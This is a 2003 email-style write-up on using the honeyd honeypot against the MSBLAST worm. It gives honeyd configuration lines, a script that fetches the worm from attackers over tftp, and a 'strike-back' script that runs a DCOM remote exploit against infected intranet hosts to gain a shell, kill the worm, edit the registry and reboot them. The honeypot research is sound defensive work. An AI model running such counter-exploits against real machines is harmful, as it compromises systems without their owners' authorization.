Honeyd Vs MSBLAST.EXE
From an email by Laurent Oudot of the Rstack team
2003-08-19
Fighting worms with honeypots: honeyd vs msblast.exe
While trying to help the community to fight the evil worm MSBLAST, i
looked at my favorite honeypot, called honeyd, to check if we could not
play with the worm itself (Labrea played with another worm in the
past... the past should not be forgotten).
[Honeyd is a free software product by Niels Provos :
http://www.citi.umich.edu/u/provos/honeyd]
As i saw a growing number of TCP requests against my honeyd (port 135) i
decided to open the port (look at honeyd conf file for that) :
-
add template tcp port 135 open
|
Wooo, i got plenty of (fake) TCP sessions against this port. A tcpdump
could allow to learn what was launched against this port (tcpdump -n -w
135.cap -s 1514 tcp and port 135). This could be used to analyse the
virus network payload and shellcode.
Then i learned that the worm called MSBLAST wanted to get a shell over
the 4444 TCP port. So i created a fake service over the TCP port 4444,
to play with the worm :
-
add template tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
|
Owing to this 4444.sh script, it was then able to begin to work with the
worm itself.
Almost firstable, this script 4444.sh was used to suck the worm directly
from the attacker. Here is an example that i created for fun with
moutane (rstack team) :
-
#!/bin/sh
# we create a temporary directory for each specific attacker
# to be sure we get every version on the wild
mkdir /tmp/$1-$2
cd /tmp/$1-$2
# we connect via tftp to the attacker
# and we get the msblast.exe file
tftp $1 << EOF
get msblast.exe
quit
EOF
|
I restarted my honeyd. Then, every hosts owned by msblast that was
attacking my honeypot, first saw that the port 135 was opened. They then
sent their evil payload on it, and naturally tried to launch their
commands on the port 4444...
I got the msblast.exe file in less than 5 minutes (internet is so evil
you know...) and give it to a friend for an internal analysis in the
rstack team.
Hmmm. This script (4444.sh) can easily be modified to do better things,
that's what we thought about...
Imagine that the honeypot sees an Msblast attack coming from a host.
That should mean that the host is infected by Msblast, right ?!
So, on an intranet, we tried to look at the possibility to automatically
clean an msblast'ed host that would attack the honeypot !
To be able to do that, we would only have to launch the same attack
against the attacker itself, in order to get a shell, and to kill the
evil process, and so on ("use the force luke...")
Bad thing would say laws-addicted guys. True. I agree.
So the idea was to strike back only against host from our internal
network, to avoid an attack against hosts that we don't manage (we
filtered the traffic in the final script and on an outbound router).
[!] This idea is very dangerous, cause bad people could use that to
automatically abuse infected hosts that attack them. I won't talk too
much about that to avoid another black hat script kiddy wave on the net.
Here is a funny proof of concept made with VG and Moutane for a 4444.sh
shell script.
When an infected host attacks the honeypot, honeyd launch the script
that will connect itself to the infected attacker using the RPC DCOM
remote exploit made by [oc192.us], gaining a shell too !
Then it will kill the process msblast.exe, the associated files on the
disk, and the will clean the registry.
Remember it's a proof of concept.
It will work against Windows XP hosts :
-
#!/bin/sh
# launch the exploit against the internal attacker
/usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF
taskkill /f /im msblast.exe /t
del /f %SystemRoot%\System32\msblast.exe
echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
>> c:\cleaner_msblast.reg
echo "windows auto update" = "REM msblast.exe" >> c:\cleaner_msblast.reg
regedit /s c:\cleaner_msblast.reg
del /f c:\cleaner_msblast.reg
shutdown -r -f -t 0
exit
EOF
|
We tried it.
It worked :-)
Every msblasted infected hosts on our intranet, while attacking the
honeypot, received a strong strike back answer, destroying the worm on
it ("in your face, from downtown").
If you search something better to remove the worm, you can replace part
of the script by a simple : "cscript cleaner.vbs" where cleaner.vbs
could be inspired by http://www.rstack.org/oudot/cleaner.vbs.
You can also try to automatically install the patch on the infected host
(look at microsoft web site for that, they propose a vbs script).
Honeyd, used like that, is more than a Honeypot, it also plays the role
of a kind of IDS (who is infected) and Intrusion Prevention System...
Big thanks to moutane and vg from the team rstack for their help and
ideas for the tests (infected hosts, etc).
life is short, have fun.
oudot@rstack.org
member of the team rstack
http://www.rstack.org
NB: To force honeyd to answer to every hosts, launch arpd without
argument, and use a honeyd config file like that :
-
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
set default default tcp action block
set default default udp action block
set default uid 32767 gid 32767
|
[Back]